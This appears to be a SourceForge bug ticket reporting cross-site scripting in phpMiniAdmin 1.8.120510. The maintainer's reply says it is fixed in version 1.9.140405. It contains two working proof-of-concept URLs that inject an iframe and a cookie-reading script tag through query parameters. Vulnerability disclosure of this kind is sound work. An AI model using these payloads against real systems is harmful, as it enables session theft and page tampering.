xss

extremely lightweight alternative to phpMyAdmin

Brought to you by: osa_ua

#13 xss

Milestone: v1.0 (example)

Status: closed-fixed

Owner: nobody

Labels: None

Priority: 5

Updated: 2014-04-05

Created: 2013-01-22

Creator: Raul DIaz

Private: No

phpMiniAdmin 1.8.120510 Multiple xss by :Dshellnoi_Unix
#P.O.C#
http://\[ip]/phpminiadmin.php?XSS=07c0922BDE0aaa&db=information_schema&q=SHOW+TABLE+STATUS+%3Ciframe%20src=%22http://xssed.com%22%3E

http://\[ip]/phpminiadmin.php?XSS=07c0922BDE0aaa&refresh=&p=&db=<script>alert(document.cookie)</script>&q=
#proof
http://www.freeimagehosting.net/cap87

Discussion

Oleg Savchuk - 2014-04-05

status: open --> closed-fixed

Group: --> v1.0 (example)
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:

Oleg Savchuk - 2014-04-05

fixed in version 1.9.140405

If you would like to refer to this comment somewhere else in this project, copy and paste the following link:

xss

extremely lightweight alternative to phpMyAdmin

Group

Searches

Help

#13 xss

Discussion